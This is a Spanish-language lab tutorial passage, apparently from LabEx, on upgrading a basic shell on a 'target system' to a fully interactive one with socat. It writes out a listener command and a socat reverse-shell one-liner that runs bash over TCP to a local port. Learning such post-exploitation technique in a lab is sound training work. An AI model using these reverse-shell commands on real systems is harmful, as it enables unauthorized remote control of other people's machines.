Actualización a una Shell Interactiva Completa con Socat
Para una solución más completa, podemos utilizar la utilidad socat
para obtener una shell interactiva completa con soporte para todas las características, incluyendo autocompletado con la tecla Tab, navegación por el historial y compatibilidad con editores de texto.
Primero, verifica si socat
está instalado en el sistema objetivo ejecutando el siguiente comando:
which socat
Si socat
está disponible, sigue estos pasos:
-
Abre una nueva ventana de terminal
y inicia un listener en el puerto 5912
utilizando el siguiente comando de socat
:
socat file:$(tty),raw,echo=0 tcp-listen:5912
Espera a que se establezca la conexión.
-
En la shell simple, ejecuta el siguiente comando para conectarte al listener y actualizar la shell a una shell interactiva completa:
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:127.0.0.1:5912
-
De vuelta a la ventana de terminal donde configuraste el listener, deberías ver una conexión establecida con el sistema objetivo. Ahora deberías tener una shell completamente interactiva con todas las características que esperarías de una sesión de terminal normal.
Ejemplo de salida:
labex:project/ $ socat file:$(tty),raw,echo=0 tcp-listen:5912
labex@660d5d5ee229593d40db9301:~$
Prueba la nueva shell interactiva utilizando comandos como cat
, ssh
, vim
y navegando por el historial de comandos con las flechas hacia arriba y hacia abajo.